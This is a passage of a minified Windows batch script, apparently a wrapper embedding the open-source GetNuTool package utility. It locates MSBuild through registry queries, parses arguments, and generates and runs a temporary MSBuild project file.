MSBuildToolsPath 2^> nul` 379 | ) do if exist %%b ( 380 | set a_=%%~b 381 | call :bz ":msbfound " a_ 382 | call :b6 a_ bp 383 | set %2=!bp! 384 | exit/B 0 385 | ) 386 | set "%2=" 387 | exit/B 0 388 | :b6 389 | set %2=!%~1!\MSBuild.exe 390 | exit/B 0 391 | :bz 392 | if defined am ( 393 | set ba=%1 394 | set ba=!ba:~0,-1! 395 | set ba=!ba:~1! 396 | echo.[%TIME% ] !ba! !%2! !%3! 397 | ) 398 | exit/B 0 399 | :b0 400 | call :b7 %1 401 | call :b8 %1 402 | exit/B 0 403 | :b7 404 | call :b9 %1 "-=1" 405 | exit/B 0 406 | :b8 407 | call :b9 %1 "+=1" 408 | exit/B 0 409 | :b9 410 | set bb=z!%1!z 411 | if "%~2"=="-=1" (set "bc=1") else (set "bc=") 412 | if defined bc ( 413 | set /a "i=-2" 414 | ) else ( 415 | set /a "i=1" 416 | ) 417 | :b_ 418 | if "!bb:~%i%,1!"==" " ( 419 | set /a "i%~2" 420 | goto b_ 421 | ) 422 | if defined bc set /a "i+=1" 423 | if defined bc ( 424 | set "%1=!bb:~1,%i%!" 425 | ) else ( 426 | set "%1=!bb:~%i%,-1!" 427 | ) 428 | exit/B 0 429 | :bs 430 | set "bd=%~1" 431 | set /a ax=-1 432 | :ca 433 | set /a ax+=1 434 | set %bd%[!ax!]=%~2 435 | shift & if not "%~3"=="" goto ca 436 | set /a ax-=1 437 | set %1=!ax! 438 | exit/B 0 439 | :bx 440 | set %2=!%1! 441 | exit/B 0 442 | :b1 443 | setlocal disableDelayedExpansion 444 | @echo off 445 | :: GetNuTool - Executable version 446 | :: Copyright (c) 2015-2018,2020 Denis Kuzmin [ x-3F@outlook.com ] 447 | :: https://github.com/3F/GetNuTool 448 | set be=gnt.core 449 | set bf="%temp%\%random%%random%%be%" 450 | if "%~1"=="-unpack" goto cb 451 | set bg=%* 452 | if defined __p_call if defined bg set bg=%bg:^^=^% 453 | set bh=%__p_msb% 454 | if defined bh goto cc 455 | if "%~1"=="-msbuild" goto cd 456 | for %%v in (4.0, 14.0, 12.0, 3.5, 2.0) do ( 457 | for /F "usebackq tokens=2* skip=2" %%a in ( 458 | `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul` 459 | ) do if exist %%b ( 460 | set bh="%%~b\MSBuild.exe" 461 | goto cc 462 | ) 463 | ) 464 | echo MSBuild was not found. Try -msbuild "fullpath" args 1>&2 465 | exit/B 2 466 | :cd 467 | shift 468 | set bh=%1 469 | shift 470 | set bi=%bg:!= #__b_ECL## % 471 | setlocal enableDelayedExpansion 472 | set bi=!bi:%%=%%%%! 473 | :ce 474 | for /F "tokens=1* delims==" %%a in ("!bi!") do ( 475 | if "%%~b"=="" ( 476 | call :cf !bi! 477 | exit/B %ERRORLEVEL% 478 | ) 479 | set bi=%%a #__b_EQ## %%b 480 | ) 481 | goto ce 482 | :cf 483 | shift & shift 484 | set "bg=" 485 | :cg 486 | set bg=!bg! %1 487 | shift & if not "%~2"=="" goto cg 488 | set bg=!bg: #__b_EQ## ==! 489 | setlocal disableDelayedExpansion 490 | set bg=%bg: #__b_ECL## =!% 491 | :cc 492 | call :ch 493 | call %bh% %bf% /nologo /p:wpath="%cd%/" /v:m /m:4 %bg% 494 | set "bh=" 495 | set bj=%ERRORLEVEL% 496 | del /Q/F %bf% 497 | exit/B %bj% 498 | :cb 499 | set bf="%cd%\%be%" 500 | echo Generating minified version in %bf% ... 501 | :ch 502 | %bf% 503 | set a=PropertyGroup&set b=Condition&set c=ngpackages&set d=Target&set e=DependsOnTargets&set f=TaskCoreDllPath&set g=MSBuildToolsPath&set h=UsingTask&set i=CodeTaskFactory&set j=ParameterGroup&set k=Reference&set l=Include&set m=System&set n=Using&set o=Namespace&set p=IsNullOrEmpty&set q=return&set r=string&set s=delegate&set t=foreach&set u=WriteLine&set v=Combine&set w=Console.WriteLine&set x=Directory&set y=GetNuTool&set z=StringComparison&set _=EXT_NUSPEC 504 | ^